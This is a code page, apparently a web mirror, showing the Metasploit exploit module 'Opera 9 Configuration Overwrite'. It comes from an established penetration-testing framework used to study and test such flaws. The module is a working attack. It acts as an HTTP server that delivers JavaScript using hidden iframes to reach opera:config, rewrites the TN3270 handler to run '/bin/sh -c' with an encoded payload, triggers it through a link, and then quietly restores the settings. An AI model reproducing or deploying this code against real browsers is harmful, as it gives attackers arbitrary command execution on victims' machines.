Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/opera_configoverwrite.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213include Msf::Exploit::Remote::BrowserAutopwn14autopwn_info({15:ua_name => HttpClients::OPERA,16:ua_maxver => "9.10",17:os_name => [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],18:javascript => true,19:rank => ExcellentRanking, # reliable cmd exec, cleans up after itself20:vuln_test => nil,21})2223def initialize(info = {})24super(update_info(info,{25'Name' => 'Opera 9 Configuration Overwrite',26'Description' => %q{27Opera web browser in versions <= 9.10 allows unrestricted script28access to its configuration page, opera:config, allowing an29attacker to change settings and potentially execute arbitrary30code.31},32'License' => BSD_LICENSE,33'Author' =>34[35'egypt', # stolen from mpack36],37'References' =>38[39[ 'OSVDB', '66472'],40],41'Payload' =>42{43'EXITFUNC' => 'process',44'Space' => 2048,45'DisableNops' => true,46'BadChars' => " ",47},48'Platform' => %w{ unix },49'Targets' =>50[51#[ 'Opera < 9.10 Windows',52# {53# 'Platform' => 'win',54# 'Arch' => ARCH_X86,55# }56#],57[ 'Opera < 9.10 Unix Cmd',58{59'Platform' => 'unix',60'Arch' => ARCH_CMD,61}62],63],64# Not sure when this was disclosed but it's been known since at65# least March 5, 2007, since that's the release date on the version66# of mpack I stole this from.67'DisclosureDate' => '2007-03-05',68'DefaultTarget' => 069}))70end7172def on_request_uri(cli, request)73print_status("Got request #{request.uri}")7475case request.uri76when get_resource77print_status("Sending #{self.name}")78content = "<body><script>"79content << generate_evil_js(cli, request)80content << "</script></body>"81headers = { 'Content-Type' => 'text/html' }82else83print_status("404ing request for #{request.uri}")84send_not_found(cli)85return86end87send_response_html(cli, content, headers)8889print_status("Done with request #{request.uri}")90end9192def generate_evil_js(cli, request)93# There are a bunch of levels of quotes here, so the easiest way to94# make everything line up is to hex escape the command to run95p = regenerate_payload(cli).encoded96send_not_found(cli) && return if not p9798shellcode = Rex::Text.to_hex(p, "%")99js = <<ENDJS100blank_iframe = document.createElement('iframe');101blank_iframe.src = 'about:blank';102blank_iframe.setAttribute('id', 'blank_iframe_window');103blank_iframe.setAttribute('style', 'display:none');104document.body.appendChild(blank_iframe);105blank_iframe_window.eval(106"config_iframe = document.createElement('iframe');" +107"config_iframe.setAttribute('id', 'config_iframe_window');" +108"config_iframe.src = 'opera:config';" +109"document.body.appendChild(config_iframe);" +110"cache_iframe = document.createElement('iframe');" +111"cache_iframe.src = 'opera:cache';" +112"cache_iframe.onload = function ()" +113"{" +114" config_iframe_window.eval" +115" (\\"" +116" old_handler = opera.getPreference('Network','TN3270 App');" +117" old_pref = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +118" shellcode = '#{shellcode}';" +119" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +120" opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +121" app_link = document.createElement('a');" +122" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +123" app_link.click();" +124" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +125" setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +126" \\");" +127"};" +128"document.body.appendChild(cache_iframe);" +129"");130ENDJS131132end133end134135136